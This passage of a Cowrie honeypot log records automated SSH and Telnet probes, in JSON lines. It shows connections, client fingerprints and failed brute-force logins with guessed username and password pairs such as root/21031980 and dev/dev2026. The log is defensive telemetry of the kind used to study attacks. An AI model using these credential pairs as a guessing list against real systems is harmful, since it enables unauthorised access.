713bd9cc935561939c02dad25af2d3de","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T15:13:02.585475Z","src_ip":"102.88.137.80","session":"ce146e708dc0","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T15:13:02.672054Z","src_ip":"89.223.69.22","session":"58334964ab24","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"21031980","message":"login attempt [root/21031980] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T15:13:03.027252Z","src_ip":"89.223.69.22","session":"58334964ab24","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"sysadmin","password":"1234","message":"login attempt [sysadmin/1234] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T15:13:03.347966Z","src_ip":"102.88.137.80","session":"ce146e708dc0","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.6","message":"Connection lost after 1.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T15:13:04.147066Z","src_ip":"89.223.69.22","session":"58334964ab24","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"201.17.146.173","src_port":57718,"dst_ip":"10.17.0.5","dst_port":22,"session":"c1687270ee8e","protocol":"ssh","message":"New connection: 201.17.146.173:57718 (10.17.0.5:22) [session: c1687270ee8e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T15:13:04.456291Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T15:13:04.460985Z","src_ip":"201.17.146.173","session":"c1687270ee8e","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.1","message":"Connection lost after 2.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T15:13:04.531712Z","src_ip":"102.88.137.80","session":"ce146e708dc0","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T15:13:04.618971Z","src_ip":"201.17.146.173","session":"c1687270ee8e","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"cluster1","password":"cluster1","message":"login attempt [cluster1/cluster1] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T15:13:05.271251Z","src_ip":"201.17.146.173","session":"c1687270ee8e","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"79.104.0.82","src_port":56938,"dst_ip":"10.17.0.5","dst_port":22,"session":"80a5f8eac24a","protocol":"ssh","message":"New connection: 79.104.0.82:56938 (10.17.0.5:22) [session: 80a5f8eac24a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T15:13:05.863870Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T15:13:05.868413Z","src_ip":"79.104.0.82","session":"80a5f8eac24a","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T15:13:06.000166Z","src_ip":"79.104.0.82","session":"80a5f8eac24a","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":50.75561213493347,"message":"Connection lost after 50 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T15:13:06.392124Z","src_ip":"128.199.8.54","session":"404df0fda0e5","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":"2.0","message":"Connection lost after 2.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T15:13:06.428130Z","src_ip":"201.17.146.173","session":"c1687270ee8e","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"xe","password":"xe","message":"login attempt [xe/xe] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T15:13:06.556375Z","src_ip":"79.104.0.82","session":"80a5f8eac24a","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.8","message":"Connection lost after 1.8 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T15:13:07.699696Z","src_ip":"79.104.0.82","session":"80a5f8eac24a","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"172.81.62.90","src_port":39218,"dst_ip":"159.203.135.109","dst_port":23,"session":"6d4c318f96fc","protocol":"telnet","message":"New connection: 172.81.62.90:39218 (159.203.135.109:23) [session: 6d4c318f96fc]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T15:13:12.866770Z"}
{"eventid":"cowrie.session.connect","src_ip":"194.59.206.2","src_port":33856,"dst_ip":"10.17.0.5","dst_port":22,"session":"7e23c0e1168e","protocol":"ssh","message":"New connection: 194.59.206.2:33856 (10.17.0.5:22) [session: 7e23c0e1168e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T15:13:20.101089Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T15:13:20.104769Z","src_ip":"194.59.206.2","session":"7e23c0e1168e","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"e54ef3ec27fe1fea7ab64d3fa05359fd","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group1-sha1,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1;chacha20-poly1305@openssh.com,aes128-gcm@openssh.com,aes256-gcm@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr,aes128-cbc,arcfour256,arcfour128,arcfour,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-256,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group1-sha1","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group-exchange-sha256","diffie-hellman-group-exchange-sha1"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com"],"encCS":["chacha20-poly1305@openssh.com","aes128-gcm@openssh.com","aes256-gcm@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr","aes128-cbc","arcfour256","arcfour128","arcfour","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-256","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: e54ef3ec27fe1fea7ab64d3fa05359fd","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T15:13:20.189930Z","src_ip":"194.59.206.2","session":"7e23c0e1168e","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"0.2","message":"Connection lost after 0.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T15:13:20.279308Z","src_ip":"194.59.206.2","session":"7e23c0e1168e","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"5.89.75.194","src_port":33494,"dst_ip":"10.17.0.5","dst_port":22,"session":"71247667b203","protocol":"ssh","message":"New connection: 5.89.75.194:33494 (10.17.0.5:22) [session: 71247667b203]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T15:13:23.490526Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T15:13:23.494095Z","src_ip":"5.89.75.194","session":"71247667b203","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T15:13:23.595124Z","src_ip":"5.89.75.194","session":"71247667b203","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"Zg123456","message":"login attempt [root/Zg123456] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T15:13:24.031447Z","src_ip":"5.89.75.194","session":"71247667b203","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.6","message":"Connection lost after 1.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T15:13:25.134439Z","src_ip":"5.89.75.194","session":"71247667b203","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"183.251.230.98","src_port":3808,"dst_ip":"10.17.0.5","dst_port":22,"session":"c183319a50c9","protocol":"ssh","message":"New connection: 183.251.230.98:3808 (10.17.0.5:22) [session: c183319a50c9]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T15:13:28.498534Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T15:13:28.503211Z","src_ip":"183.251.230.98","session":"c183319a50c9","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"101.47.159.125","src_port":55874,"dst_ip":"159.203.135.109","dst_port":22,"session":"5dbd7d7d5f47","protocol":"ssh","message":"New connection: 101.47.159.125:55874 (159.203.135.109:22) [session: 5dbd7d7d5f47]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T15:13:29.506830Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T15:13:29.511574Z","src_ip":"101.47.159.125","session":"5dbd7d7d5f47","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T15:13:29.554840Z","src_ip":"183.251.230.98","session":"c183319a50c9","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":120.00076699256897,"message":"Connection lost after 120 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T15:13:29.639374Z","src_ip":"94.23.66.112","session":"d39b16a6c795","protocol":"telnet"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T15:13:29.749362Z","src_ip":"101.47.159.125","session":"5dbd7d7d5f47","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"artem","password":"Password123","message":"login attempt [artem/Password123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T15:13:30.743223Z","src_ip":"101.47.159.125","session":"5dbd7d7d5f47","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"pratik","password":"pratik","message":"login attempt [pratik/pratik] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T15:13:31.455892Z","src_ip":"183.251.230.98","session":"c183319a50c9","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.5","message":"Connection lost after 2.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T15:13:31.986597Z","src_ip":"101.47.159.125","session":"5dbd7d7d5f47","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"5.0","message":"Connection lost after 5.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T15:13:33.512927Z","src_ip":"183.251.230.98","session":"c183319a50c9","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"217.168.240.63","src_port":46116,"dst_ip":"159.203.135.109","dst_port":22,"session":"15b7a77804fa","protocol":"ssh","message":"New connection: 217.168.240.63:46116 (159.203.135.109:22) [session: 15b7a77804fa]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T15:13:39.965024Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T15:13:39.969155Z","src_ip":"217.168.240.63","session":"15b7a77804fa","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T15:13:40.093826Z","src_ip":"217.168.240.63","session":"15b7a77804fa","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"dev","password":"dev2026","message":"login attempt [dev/dev2026] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T15:13:40.622845Z","src_ip":"217.168.240.63","session":"15b7a77804fa","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.8","message":"Connection lost after 1.8 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T15:13:41.748986Z","src_ip":"217.168.240.63","session":"15b7a77804fa","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"102.88.137.80","src_port":49634,"dst_ip":"10.17.0.5","dst_port":22,"session":"969183356d1a","protocol":"ssh","message":"New connection: 102.88.137.80:49634 (10.17.0.5:22) [session: 969183356d1a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T15:13:54.902889Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.11.1","message":"Remote SSH version: SSH-2.0-libssh_0.11.1","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T15:13:54.908326Z","src_ip":"102.88.137.80","session":"969183356d1a","protocol":"ssh"}
